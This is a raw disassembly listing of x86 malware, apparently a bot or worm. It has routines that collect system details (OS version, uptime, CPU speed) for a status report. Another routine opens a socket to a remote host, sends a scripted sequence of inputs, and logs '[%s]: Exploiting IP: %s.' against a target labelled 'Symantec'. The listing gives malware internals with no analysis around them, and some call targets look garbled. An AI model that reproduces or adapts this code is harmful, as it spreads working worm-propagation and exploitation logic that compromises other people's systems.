		jnz	short loc_41AED4
		push	7


loc_41AED3:				; CODE XREF: sub_41AE41+4Fj
					; sub_41AE41+5Cj ...
		pop	esi


loc_41AED4:				; CODE XREF: sub_41AE41+25j
					; sub_41AE41+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41AE41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AED9	proc near		; CODE XREF: sub_41AF8F+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41AEE1:				; CODE XREF: sub_41AED9+2Fj
					; sub_41AED9+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	near ptr 26A068Bh
		nop
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41DCB0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41AEE1
		jb	short loc_41AF10
		cmp	ebx, esi
		ja	short loc_41AEE1


loc_41AF10:				; CODE XREF: sub_41AED9+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41DD20
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AF83
		jb	short loc_41AF2F
		cmp	esi, 50h
		jnb	short loc_41AF34


loc_41AF2F:				; CODE XREF: sub_41AED9+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41AF34:				; CODE XREF: sub_41AED9+54j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF3F
		cmp	esi, 47h
		jnb	short loc_41AF44


loc_41AF3F:				; CODE XREF: sub_41AED9+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41AF44:				; CODE XREF: sub_41AED9+64j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF4F
		cmp	esi, 37h
		jnb	short loc_41AF54


loc_41AF4F:				; CODE XREF: sub_41AED9+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AF54:				; CODE XREF: sub_41AED9+74j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF5F
		cmp	esi, 26h
		jnb	short loc_41AF64


loc_41AF5F:				; CODE XREF: sub_41AED9+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AF64:				; CODE XREF: sub_41AED9+84j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF6F
		cmp	esi, 1Eh
		jnb	short loc_41AF74


loc_41AF6F:				; CODE XREF: sub_41AED9+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AF74:				; CODE XREF: sub_41AED9+94j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF7F
		cmp	esi, 0Ah
		jnb	short loc_41AF83


loc_41AF7F:				; CODE XREF: sub_41AED9+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AF83:				; CODE XREF: sub_41AED9+4Dj
					; sub_41AED9+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41AED9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF8F	proc near		; CODE XREF: sub_401ACD+2728p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43DB88
		mov	[ebp+var_CC], 94h
		call	near ptr 2700552h
		nop
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41B016
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AFF2
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AFDC
		mov	[ebp+var_4], offset dword_431620


loc_41AFDC:				; CODE XREF: sub_41AF8F+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41B091
		mov	[ebp+var_4], offset dword_43161C
		jmp	short loc_41B062
; ---------------------------------------------------------------------------


loc_41AFF2:				; CODE XREF: sub_41AF8F+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41B004
		mov	[ebp+var_4], offset dword_431618
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B004:				; CODE XREF: sub_41AF8F+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41B052
		mov	[ebp+var_4], offset dword_431614
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B016:				; CODE XREF: sub_41AF8F+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41B052
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B030
		mov	[ebp+var_4], offset dword_431610
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B030:				; CODE XREF: sub_41AF8F+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41B042
		mov	[ebp+var_4], offset dword_43160C
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B042:				; CODE XREF: sub_41AF8F+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41B059


loc_41B052:				; CODE XREF: sub_41AF8F+7Cj
					; sub_41AF8F+8Ej
		mov	[ebp+var_4], offset dword_431604


loc_41B059:				; CODE XREF: sub_41AF8F+73j
					; sub_41AF8F+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41B091


loc_41B062:				; CODE XREF: sub_41AF8F+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41B091
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_436BB4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41B091:				; CODE XREF: sub_41AF8F+54j
					; sub_41AF8F+D1j ...
		mov	ax, word_4383AC
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB8B4
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41B0CA
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41B0CA:				; CODE XREF: sub_41AF8F+12Cj
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA14
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, ebx
		jz	short loc_41B0F3
		push	dword ptr [eax]
		jmp	short loc_41B0F8
; ---------------------------------------------------------------------------


loc_41B0F3:				; CODE XREF: sub_41AF8F+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41B0F8:				; CODE XREF: sub_41AF8F+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43AC78
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 2780000h
		nop
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2771561h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2880000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41C3B1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41ADD8
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41AED9
		push	edx
		push	eax
		push	offset dword_43AB9C
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AF8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B243	proc near		; CODE XREF: sub_401ACD+2756p
					; sub_401ACD+71F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	dword_4CBABC, 0
		jnz	short loc_41B2AF
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB898
		test	eax, eax
		jnz	short loc_41B298
		lea	eax, [ebp+var_8C]
		push	offset dword_43ACF0
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B298:				; CODE XREF: sub_41B243+40j
		test	[ebp+var_C], 1
		jz	short loc_41B2A5
		push	offset dword_43ACE8
		jmp	short loc_41B2AA
; ---------------------------------------------------------------------------


loc_41B2A5:				; CODE XREF: sub_41B243+59j
		push	offset off_43ACE4


loc_41B2AA:				; CODE XREF: sub_41B243+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41B2C7
; ---------------------------------------------------------------------------


loc_41B2AF:				; CODE XREF: sub_41B243+28j
		mov	esi, offset off_43ACE0
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41B2C7:				; CODE XREF: sub_41B243+6Aj
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43AC9C
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41B243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B302	proc near		; DATA XREF: sub_401ACD+757Fo

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43ADD0
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41BF70
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB8D0
		test	eax, eax
		jz	loc_41B49C
		cmp	[ebp+var_34], ebx
		jbe	short loc_41B3D9
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3D9:				; CODE XREF: sub_41B302+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41B3F7
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3F7:				; CODE XREF: sub_41B302+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41B411
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B411:				; CODE XREF: sub_41B302+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41B42B
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B42B:				; CODE XREF: sub_41B302+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB984
		call	dword_4CB9A8
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41B4B4
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB99C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41B4BB
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB948
		test	eax, eax
		jz	short loc_41B495
		push	offset dword_43ADB4
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B495:				; CODE XREF: sub_41B302+18Aj
		push	offset unk_43AD78
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B49C:				; CODE XREF: sub_41B302+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43AD5C
		push	eax
		call	sub_41C266
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41B4CE
; ---------------------------------------------------------------------------


loc_41B4B4:				; CODE XREF: sub_41B302+153j
		push	offset unk_43AD30
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B4BB:				; CODE XREF: sub_41B302+17Bj
		push	offset unk_43AD00


loc_41B4C0:				; CODE XREF: sub_41B302+191j
					; sub_41B302+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B4CE:				; CODE XREF: sub_41B302+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41B4F9
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409869
		add	esp, 14h


loc_41B4F9:				; CODE XREF: sub_41B302+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_415D38
		pop	ecx
		push	esi
		call	dword_4CBA08
		push	[ebp+var_4]
		call	dword_4CBA08
		push	[ebp+var_1D8]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 2710000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_41B302	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B52C	proc near		; CODE XREF: sub_401ACD+4F59p

arg_0		= dword	ptr  4

		push	esi
		push	100h
		mov	esi, offset byte_4DBCCC
		push	0
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		push	[esp+4+arg_0]
		push	offset aS_1	; "%s"
		push	0FFh
		push	esi
		call	sub_41C360
		add	esp, 10h
		pop	esi
		retn
sub_41B52C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B55B	proc near		; CODE XREF: ___:0041B843p
					; ___:0041B860p ...

var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	esi, offset dword_4DBDD4
		lea	edi, [ebp+var_C]
		mov	ax, word_43ADD4
		movsd
		movsb
		mov	esi, offset dword_4DBDCC
		lea	edi, [ebp+var_14]
		mov	[ebp+var_2], ax
		mov	ax, word_4346DC
		movsd
		mov	[ebp+var_6], ax
		mov	ax, word_4CB88C
		movsw
		mov	[ebp+var_4], ax
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jnz	loc_41B627
		mov	edi, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+arg_8], esi


loc_41B5AD:				; CODE XREF: sub_41B55B+C7j
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		jz	short loc_41B5CD
		dec	eax
		jnz	short loc_41B61B
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B5E1
; ---------------------------------------------------------------------------


loc_41B5CD:				; CODE XREF: sub_41B55B+57j
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B5E1:				; CODE XREF: sub_41B55B+70j
		push	eax
		push	edi
		call	dword_4CBA24
		push	ebx
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B5FD
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B602
; ---------------------------------------------------------------------------


loc_41B5FD:				; CODE XREF: sub_41B55B+99j
		push	5
		lea	eax, [ebp+var_14]


loc_41B602:				; CODE XREF: sub_41B55B+A0j
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	ebx
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	ebx
		push	edi
		call	dword_4CBA24


loc_41B61B:				; CODE XREF: sub_41B55B+5Aj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_41B5AD
		pop	ebx
		jmp	short loc_41B69D
; ---------------------------------------------------------------------------


loc_41B627:				; CODE XREF: sub_41B55B+42j
		dec	eax
		jz	short loc_41B646
		dec	eax
		jnz	short loc_41B69D
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B65D
; ---------------------------------------------------------------------------


loc_41B646:				; CODE XREF: sub_41B55B+CDj
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B65D:				; CODE XREF: sub_41B55B+E9j
		push	eax
		push	edi
		call	dword_4CBA24
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B67B
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B680
; ---------------------------------------------------------------------------


loc_41B67B:				; CODE XREF: sub_41B55B+117j
		push	5
		lea	eax, [ebp+var_14]


loc_41B680:				; CODE XREF: sub_41B55B+11Ej
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	dword_4CBA24


loc_41B69D:				; CODE XREF: sub_41B55B+CAj
					; sub_41B55B+D0j
		pop	edi
		pop	esi
		leave
		retn
sub_41B55B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 288h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_43ADEC
		lea	edi, [ebp-38h]
		mov	ax, word_4346DC
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_43ADE8
		lea	edi, [ebp-1Ch]
		movsw
		movsb
		mov	esi, offset dword_4DBDD4
		lea	edi, [ebp-28h]
		movsd
		movsb
		mov	esi, offset dword_43ADE4
		lea	edi, [ebp-10h]
		movsw
		movsb
		mov	esi, offset dword_43ADE0
		lea	edi, [ebp-14h]
		movsw
		movsb
		mov	esi, offset dword_43ADDC
		lea	edi, [ebp-0Ch]
		movsw
		movsb
		xor	esi, esi
		mov	[ebp-6], ax
		mov	[ebp-16h], ax
		mov	ax, word ptr aR	; "r"
		push	esi
		push	1
		push	2
		mov	[ebp-18h], ax
		xor	edi, edi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41B724
		push	eax
		call	dword_4CBA6C


loc_41B724:				; CODE XREF: ___:0041B71Bj
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-48h], 2
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-44h], eax
		call	dword_4CB9D4
		mov	[ebp-46h], ax
		lea	eax, [ebp-48h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		test	eax, eax
		jnz	loc_41B820


loc_41B75C:				; CODE XREF: ___:0041B7CEj
					; ___:0041B805j
		push	40h
		lea	eax, [ebp-88h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-88h]
		push	esi
		push	40h
		push	eax
		push	ebx
		call	dword_4CB9EC
		cmp	eax, esi
		jle	loc_41B82E
		cmp	eax, 0FFFFFFFFh
		jz	loc_41B82E
		mov	eax, edi
		sub	eax, esi
		jz	short loc_41B7D0
		dec	eax
		jz	short loc_41B79E
		dec	eax
		jz	short loc_41B80A
		jmp	short loc_41B800
; ---------------------------------------------------------------------------


loc_41B79E:				; CODE XREF: ___:0041B797j
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-6]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-6]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	2
		pop	edi
		jmp	short loc_41B75C
; ---------------------------------------------------------------------------


loc_41B7D0:				; CODE XREF: ___:0041B794j
		lea	eax, [ebp-38h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	1
		pop	edi


loc_41B800:				; CODE XREF: ___:0041B79Cj
		cmp	edi, 3
		jz	short loc_41B82E
		jmp	loc_41B75C
; ---------------------------------------------------------------------------


loc_41B80A:				; CODE XREF: ___:0041B79Aj
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41B82E


loc_41B820:				; CODE XREF: ___:0041B756j
					; ___:0041B7B2j ...
		push	ebx
		call	dword_4CBA6C
		xor	eax, eax
		jmp	loc_41B9B7
; ---------------------------------------------------------------------------


loc_41B82E:				; CODE XREF: ___:0041B781j
					; ___:0041B78Aj ...
		push	esi
		lea	eax, [ebp-16h]
		push	1
		push	eax
		push	ebx
		call	dword_4CBA24
		lea	eax, [ebp-10h]
		push	1
		push	eax
		push	ebx
		call	sub_41B55B
		mov	esi, dword_427080
		add	esp, 0Ch
		mov	edi, 3E8h
		push	edi
		call	esi
		lea	eax, [ebp-18h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		lea	eax, [ebp-10h]
		push	2
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		and	dword ptr [ebp-4], 0
		mov	edi, offset byte_4DBCCC
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41B8CE


loc_41B891:				; CODE XREF: ___:0041B8CCj
		mov	eax, [ebp-4]
		movsx	eax, byte_4DBCCC[eax]
		push	eax
		push	offset dword_43ADD8
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_41C360
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 1Ch
		push	7Dh
		call	esi
		inc	dword ptr [ebp-4]
		push	edi
		call	sub_41B9C0
		cmp	[ebp-4], eax
		pop	ecx
		jb	short loc_41B891


loc_41B8CE:				; CODE XREF: ___:0041B88Fj
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	0FA0h
		call	esi
		push	2
		pop	edi


loc_41B8E7:				; CODE XREF: ___:0041B8FEj
		lea	eax, [ebp-14h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	12Ch
		call	esi
		dec	edi
		jnz	short loc_41B8E7
		mov	edi, 7D0h
		push	edi
		call	esi
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		xor	edi, edi
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	190h
		call	esi
		mov	dword ptr [ebp-4], 2


loc_41B938:				; CODE XREF: ___:0041B950j
		push	258h
		call	esi
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		dec	dword ptr [ebp-4]
		jnz	short loc_41B938
		push	ebx
		call	dword_4CBA6C
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-288h]
		push	1FFh
		push	eax
		call	sub_41C360
		push	edi
		lea	eax, [ebp-288h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		mov	eax, [ebp+0B0h]
		add	esp, 28h
		shl	eax, 6
		inc	dword_431800[eax]
		push	1
		lea	eax, dword_431800[eax]
		pop	eax


loc_41B9B7:				; CODE XREF: ___:0041B829j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B9C0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

